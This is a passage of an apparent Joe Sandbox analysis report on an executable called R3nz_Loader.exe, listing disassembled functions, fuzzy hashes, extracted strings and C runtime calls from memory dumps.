Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8e5edfccc045919d0803f05a7ac744621e8a0069b72612c0f0a780074fc01a5
Instruction ID: 2f3dfb5dc4120400382b18d5bb1a169c52459b720473d81f1a6a6df15b449c6b
Opcode Fuzzy Hash: e8e5edfccc045919d0803f05a7ac744621e8a0069b72612c0f0a780074fc01a5
Instruction Fuzzy Hash: 9552A2B0A08B849FE735CB34C4843A7BBE1AB91314F14496EF5E706782CB7DA985C752

Function 00A38F60 Relevance: .6, Instructions: 627COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86ab28a4bb83a9ba47d31c28d48431151dd7f33d37db9674ecadc46a4d583646
Instruction ID: e6eac04542fdf85d818f34d933c9ef88db63465aef0a68052f11e58de8fb5eb8
Opcode Fuzzy Hash: 86ab28a4bb83a9ba47d31c28d48431151dd7f33d37db9674ecadc46a4d583646
Instruction Fuzzy Hash: 0A12D6326087118BC725DF18D9816BBB3E2FFD4305F294A3DE9C697281D7B4A855CB82

Function 00A35330 Relevance: .6, Instructions: 600COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 170eb48ded4fe5daa81098f43fdbce49959e78855f94ef2c3564cd3e587b70b6
Instruction ID: ad9b844059f7ad32546233a1c0e185e5789ac4ed7814835b67371aa274365aff
Opcode Fuzzy Hash: 170eb48ded4fe5daa81098f43fdbce49959e78855f94ef2c3564cd3e587b70b6
Instruction Fuzzy Hash: B732F270915F108FC378CF29C59052ABBF2BF45710BA44A2EE6A787A90D736F885DB10

Function 00A50770 Relevance: .6, Instructions: 577COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6ea0fe5301a7d69e7901375ef0d3b55105ee8a972305d5bafaec511f4e92d58
Instruction ID: 9e92495ecd09ed638712b6b8cda9d7eb40ca6c890f9828bc6897f086b49a6874
Opcode Fuzzy Hash: f6ea0fe5301a7d69e7901375ef0d3b55105ee8a972305d5bafaec511f4e92d58
Instruction Fuzzy Hash: E1526AB0509F818ED326CF3C8855797BFE5AB5A324F044A9DE0EA873D2C7756401CB6A

Function 6CEF0250 Relevance: .6, Instructions: 566COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: becf1287dc10e0446a1bdf15615b794aeb487258e700154c346b0188ba753b8b
Instruction ID: eae11a2d98eec741e754a04cf67743dcb093214a413d4dee7174dd5c1e502c2c
Opcode Fuzzy Hash: becf1287dc10e0446a1bdf15615b794aeb487258e700154c346b0188ba753b8b
Instruction Fuzzy Hash: C212F272E452858FCB08CEBCD5907DD7BF2AB4B348F60D11AE435EBB64D62988078B15

Function 00A37330 Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 548237460154a923dfb3441f3a477a9fff10452e96d15464c6b66e0a881dbfc9
Instruction ID: 940122f5fb261515a94e0403f7440a2f33c2332f281144253b599a22442e878f
Opcode Fuzzy Hash: 548237460154a923dfb3441f3a477a9fff10452e96d15464c6b66e0a881dbfc9
Instruction Fuzzy Hash: 8A12A1756483409FD718CF29C88176EFBE2AFC9304F18896DF4898B351DA76D806CB96

Function 00A4ECD0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6120583160aaad0bc7d6f92db997c681bdad3953fd9d0e50153b04b6b3487ba1
Instruction ID: 1ded64b0b21a980310362abb8b8742605fccff2aa23391c6a8c9a2a4d6efc744
Opcode Fuzzy Hash: 6120583160aaad0bc7d6f92db997c681bdad3953fd9d0e50153b04b6b3487ba1
Instruction Fuzzy Hash: 16B1E379904201EFD7109F24CD41B5BBBE2BBD8315F148A3DF898972A1E7329D19DB42

Function 00A45E50 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3474c5d83ad8fc059f7da81fd417308675e25fa78d18bd02081c0340bc112389
Instruction ID: 476ace22192ec0a413097dfa75f6e60ac7729de0ca52c31aabf266a5417e5599
Opcode Fuzzy Hash: 3474c5d83ad8fc059f7da81fd417308675e25fa78d18bd02081c0340bc112389
Instruction Fuzzy Hash: E08104769047158BC724DF28C8A26A7B3B1FFD2364F19451CE8828B392F778D949C392

Function 00A37CF0 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4bb6cf192d1ce449bd16bd0bb60b52f0a7a7b3501a54718321d713002988865
Instruction ID: 4061d0c3fd03c97da2b1228602c6e28ae60157e660ce72069d48a580e595c42c
Opcode Fuzzy Hash: a4bb6cf192d1ce449bd16bd0bb60b52f0a7a7b3501a54718321d713002988865
Instruction Fuzzy Hash: 3EC14CB29487418FC370CF68DC96BABB7E1BF85318F08492DE1D9C6242D778A155CB45

Function 00A68D50 Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 792ce430ea83698ad863c82b7adaa756b8c459c0fdea3e7f5e3db5fe9d8f74e8
Instruction ID: 6551caf19e91406ee7fabac661967a1a22021c2ecef6f72621bd8e721e3a4ce7
Opcode Fuzzy Hash: 792ce430ea83698ad863c82b7adaa756b8c459c0fdea3e7f5e3db5fe9d8f74e8
Instruction Fuzzy Hash: 93B1D632E046A18FC711CABCCC4059ABFB66B9B230B1DC3A5D5B59B3D6C6358807C761

Function 00A4F4A0 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0d4aa8ce4472efc5d283d5200842a462ea7a76cb43c3140dc8f6543153c5d65
Instruction ID: 6c7f1795b9932e47c0c1227762180c7751d3e32116e6d2b758cb9dbfe09e3af7
Opcode Fuzzy Hash: e0d4aa8ce4472efc5d283d5200842a462ea7a76cb43c3140dc8f6543153c5d65
Instruction Fuzzy Hash: 5D51493B649AC04FD3288E3C5C5026ABAA34BE7330F2E977DE5B18B3E1D9954C018345

Function 00A71BB0 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3e932547a5552e2626f43632a1c8873aa4f47c87113c5dc1e7adcebaa21ad20
Instruction ID: 77b2d44ebb1dbe39994fc42f57fc856df9f4fff1f583c2eeb174fc4dc28a417b
Opcode Fuzzy Hash: c3e932547a5552e2626f43632a1c8873aa4f47c87113c5dc1e7adcebaa21ad20
Instruction Fuzzy Hash: 8F413335648305AFE7249F58DC94B3BB3E6EB85700F28C53DE18C5B291E670AC119B89

Function 00A71960 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fe2a5c27107ec2fa4138074a64362a58113a56dd010fd0bbeab5b0cb3efeaca
Instruction ID: 4df8c79e5e511fcc6d3e810e34aa957cfb2bf1ec4c69a6cf68beeceb99b8f5d2
Opcode Fuzzy Hash: 6fe2a5c27107ec2fa4138074a64362a58113a56dd010fd0bbeab5b0cb3efeaca
Instruction Fuzzy Hash: C0216639A092415FCB248F08DC95ABFF7B2EB86390F28C53DE58957291EA30DD12C795

Function 6CEF3C39 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d52fb2acaea47cc711755e886856fc2c512988177476dc3ebe6c672e5574d84
Instruction ID: 9f658c222567c9e4018bfba549599d1b55b9306e6b7d2831950807f545b10545
Opcode Fuzzy Hash: 8d52fb2acaea47cc711755e886856fc2c512988177476dc3ebe6c672e5574d84
Instruction Fuzzy Hash: F9E08C72912228EBCB11CBCCC94498AF3FCEB48B44B3144AAF526D3600C270DE01C7D0

Function 00A65480 Relevance: 46.4, Strings: 37, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

nD, xrefs: 00A654BC
nD, xrefs: 00A65732
nD, xrefs: 00A65822
nD, xrefs: 00A658C2
nD, xrefs: 00A65962
nD, xrefs: 00A65796
nD, xrefs: 00A657FA
nD, xrefs: 00A6575A
nD, xrefs: 00A65746
nD, xrefs: 00A65782
nD, xrefs: 00A657AA
nD, xrefs: 00A6580E
nD, xrefs: 00A65926
nD, xrefs: 00A6589A
nD, xrefs: 00A6584A
nD, xrefs: 00A65872
nD, xrefs: 00A65976
nD, xrefs: 00A658EA
nD, xrefs: 00A658D6
nD, xrefs: 00A657D2
~D, xrefs: 00A65552
nD, xrefs: 00A6598A
nD, xrefs: 00A6548C
nD, xrefs: 00A6585E
~D, xrefs: 00A6555C
nD, xrefs: 00A658AE
x~D, xrefs: 00A654D0
nD, xrefs: 00A65912
nD, xrefs: 00A6576E
nD, xrefs: 00A658FE
nD, xrefs: 00A65886
nD, xrefs: 00A657BE
nD, xrefs: 00A6599E
nD, xrefs: 00A6594E
nD, xrefs: 00A657E6
nD, xrefs: 00A65836
nD, xrefs: 00A6593A

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$x~D$~D$~D
API String ID: 0-3050489951
Opcode ID: f2a818c7bc6a78271958487cbb387f714c5ba424ea171dc795ad971e9aac5e6f
Instruction ID: 76d8eb73e0924199876ac90193d70d00fd1cd975b316779f0fa48cd1ee661aa0
Opcode Fuzzy Hash: f2a818c7bc6a78271958487cbb387f714c5ba424ea171dc795ad971e9aac5e6f
Instruction Fuzzy Hash: 38B10FB48152699BEB618F01DD487CDBAF5AB06308F91D5CAD40C3A244CBB90F8D8F95

Function 00A62550 Relevance: 43.9, Strings: 35, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

nD, xrefs: 00A6278B
nD, xrefs: 00A6288C
nD, xrefs: 00A62875
nD, xrefs: 00A6267C
nD, xrefs: 00A628A4
nD, xrefs: 00A6285D
h{D, xrefs: 00A62618
nD, xrefs: 00A62644
nD, xrefs: 00A62738
nD, xrefs: 00A627B9
{D, xrefs: 00A626B7
$|D, xrefs: 00A62706
%D, xrefs: 00A62580
`|D, xrefs: 00A62768
nD, xrefs: 00A625F6
nD, xrefs: 00A628BB
nD, xrefs: 00A62694
||D, xrefs: 00A627A3
nD, xrefs: 00A62835
0|D, xrefs: 00A62711
t{D, xrefs: 00A62623
nD, xrefs: 00A62824
nD, xrefs: 00A62750
nD, xrefs: 00A627F4
@{D, xrefs: 00A6255F
nD, xrefs: 00A627DC
nD, xrefs: 00A62846
nD, xrefs: 00A6280C
<|D, xrefs: 00A6271C
nD, xrefs: 00A62727
{D, xrefs: 00A626C2
nD, xrefs: 00A625DF
nD, xrefs: 00A626EE
nD, xrefs: 00A62773
\{D, xrefs: 00A6260D

Memory Dump Source

Source File: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000000.00000002.2233446565.0000000000A10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2233550543.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a10000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$ nD$$|D$0|D$<|D$@{D$\{D$`|D$h{D$t{D$||D$%D${D${D
API String ID: 0-2526032011
Opcode ID: 82ee4f9b0517dad5767835e3f09cdddb2b5a99043de67a5bb93205eb92845432
Instruction ID: 58c4bab62074ca7419a513c22af9ce689d04b6983e29373c28daeed3694b7b35
Opcode Fuzzy Hash: 82ee4f9b0517dad5767835e3f09cdddb2b5a99043de67a5bb93205eb92845432
Instruction Fuzzy Hash: 628165B850D3818FE374CF14E59869BBBE2FB8A318F11991ED48847354CB785449CF8A

Function 6CEF6628 Relevance: 19.6, APIs: 13, Instructions: 113
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___free_lconv_mon.LIBCMT ref: 6CEF666C

Part of subcall function 6CEF8557: _free.LIBCMT ref: 6CEF8574
Part of subcall function 6CEF8557: _free.LIBCMT ref: 6CEF8586
Part of subcall function 6CEF8557: _free.LIBCMT ref: 6CEF8598
Part of subcall function 6CEF8557: _free.LIBCMT ref: 6CEF85AA
Part of subcall function 6CEF8557: _free.LIBCMT ref: 6CEF85BC
Part of subcall function 6CEF8557: _free.LIBCMT ref: 6CEF85CE
Part of subcall function 6CEF8557: _free.LIBCMT ref: 6CEF85E0
Part of subcall function 6CEF8557: _free.LIBCMT ref: 6CEF85F2
Part of subcall function 6CEF8557: _free.LIBCMT ref: 6CEF8604
Part of subcall function 6CEF8557: _free.LIBCMT ref: 6CEF8616
Part of subcall function 6CEF8557: _free.LIBCMT ref: 6CEF8628
Part of subcall function 6CEF8557: _free.LIBCMT ref: 6CEF863A
Part of subcall function 6CEF8557: _free.LIBCMT ref: 6CEF864C

_free.LIBCMT ref: 6CEF6661

Part of subcall function 6CEF3F43: HeapFree.KERNEL32(00000000,00000000,?,6CEF317C), ref: 6CEF3F59
Part of subcall function 6CEF3F43: GetLastError.KERNEL32(?,?,6CEF317C), ref: 6CEF3F6B

_free.LIBCMT ref: 6CEF6683
_free.LIBCMT ref: 6CEF6698
_free.LIBCMT ref: 6CEF66A3
_free.LIBCMT ref: 6CEF66C5
_free.LIBCMT ref: 6CEF66D8
_free.LIBCMT ref: 6CEF66E6
_free.LIBCMT ref: 6CEF66F1
_free.LIBCMT ref: 6CEF6729
_free.LIBCMT ref: 6CEF6730
_free.LIBCMT ref: 6CEF674D
_free.LIBCMT ref: 6CEF6765

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 8ab26e4cb2653a4b405e3afa5ffb32514c22df04488f6e9803c0d9799e4e01bf
Instruction ID: b67b820549b0ca84634019fba285c316a87be50a09c86a1d7164c1798ba83a1e
Opcode Fuzzy Hash: 8ab26e4cb2653a4b405e3afa5ffb32514c22df04488f6e9803c0d9799e4e01bf
Instruction Fuzzy Hash: 37313D32604701DFEB218B35D845B8A73F8AF4071CF31856EE079DBA90EB70EA568B11

Function 6CEF3803 Relevance: 15.1, APIs: 10, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 6CEF3819

Part of subcall function 6CEF3F43: HeapFree.KERNEL32(00000000,00000000,?,6CEF317C), ref: 6CEF3F59
Part of subcall function 6CEF3F43: GetLastError.KERNEL32(?,?,6CEF317C), ref: 6CEF3F6B

_free.LIBCMT ref: 6CEF3825
_free.LIBCMT ref: 6CEF3830
_free.LIBCMT ref: 6CEF383B
_free.LIBCMT ref: 6CEF3846
_free.LIBCMT ref: 6CEF3851
_free.LIBCMT ref: 6CEF385C
_free.LIBCMT ref: 6CEF3867
_free.LIBCMT ref: 6CEF3872
_free.LIBCMT ref: 6CEF3880

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 200d1b1fe1ec41983c7f1e06a800336cef1d8638692b92be113c1b3a35f0338a
Instruction ID: 0c0175ea5d94203c554ace22dd8fffecc8a1bc09e1a62669ca61065760a9f55e
Opcode Fuzzy Hash: 200d1b1fe1ec41983c7f1e06a800336cef1d8638692b92be113c1b3a35f0338a
Instruction Fuzzy Hash: B321E977900108AFDB51DF94C881DDE7BB8FF08644F1181AAF5269B620EB71EB59CB81

Function 6CEF546A Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 6CEF54D5
|1l, xrefs: 6CEF546C
api-ms-, xrefs: 6CEF54C1

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-$|1l
API String ID: 0-2938335441
Opcode ID: 6f24c00911377c798f866c2b8561cea1f2bbd97ed73c06efa284bb61809dc0c8
Instruction ID: 8df6544d57f0e4f82b8a03f65c08ac33859f54542a21b736ed8a4a550fcca3c9
Opcode Fuzzy Hash: 6f24c00911377c798f866c2b8561cea1f2bbd97ed73c06efa284bb61809dc0c8
Instruction Fuzzy Hash: F521EE31E07611EBDB124AA99C40B1A37799F5376DF318614EC71ABB81E730D90385E0

Function 6CEF1DE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6CEF1E17
___except_validate_context_record.LIBVCRUNTIME ref: 6CEF1E1F
_ValidateLocalCookies.LIBCMT ref: 6CEF1EA8
__IsNonwritableInCurrentImage.LIBCMT ref: 6CEF1ED3
_ValidateLocalCookies.LIBCMT ref: 6CEF1F28

Strings

csm, xrefs: 6CEF1EBD

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 9bb66b2764171c3d0637330c9ce5bebef3471ad56491126ee13420b2d2729208
Instruction ID: ff2fca37a9c755a0ab080317a0527a1c9d232e40597005ea18266b6336ee0c9e
Opcode Fuzzy Hash: 9bb66b2764171c3d0637330c9ce5bebef3471ad56491126ee13420b2d2729208
Instruction Fuzzy Hash: 74417674E001499BDF00CFA8C844ADEBBB5AF4536CF248559D8349BB52D732DA17CB91

Function 6CEF47AF Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

=Il, xrefs: 6CEF4800
C:\Users\user\Desktop\R3nz_Loader.exe, xrefs: 6CEF47B4

Memory Dump Source

Source File: 00000000.00000002.2236926030.000000006CEE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CEE0000, based on PE: true

Associated: 00000000.00000002.2236900845.000000006CEE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236961655.000000006CEFB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2237060285.000000006CF4D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cee0000_R3nz_Loader.jbxd

Yara matches

Similarity

API ID:
String ID: =Il$C:\Users\user\Desktop\R3nz_Loader.exe
API String ID: 0-4120228309
Opcode ID: cadfebe7544a8396b21b7e076a11b1a0597fe95cb43669fc41bd800dab97e9ce
Instruction ID: d69a027354536b397746295784da1080772820ff071f001c78ff751928cf4777
Opcode Fuzzy Hash: cadfebe7544a8396b21b7e076a11b1a0597fe95cb43669fc41bd800dab97e9ce
Instruction Fuzzy Hash: 1A219271604299AF9B109F758D90D9B77BDAF0236C724862AF63497B40E734DE028BA1

Function 6CEF86F6 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6CEF86BE: _free.LIBCMT ref: 6CEF86E3

_free.LIBCMT ref: 6CEF8744

Part of subcall function 6CEF3F43: HeapFree.KERNEL32(00000000,00000000,?,6CEF317C), ref: 6CEF3F59
Part of subcall function 6CEF3F43: GetLastError.KERNEL32(?,?,6CEF317C), ref: 6CEF3F6B

_free.LIBCMT ref: 6CEF874F
_free.LIBCMT ref: 6CEF875A
_free.LIBCMT ref: 6CEF87AE
_free.LIBCMT ref: 6CEF87B9
_free.LIBCMT ref: 6CEF87C4
_free.LIBCMT ref: 6CEF87CF

Memory Dump Source

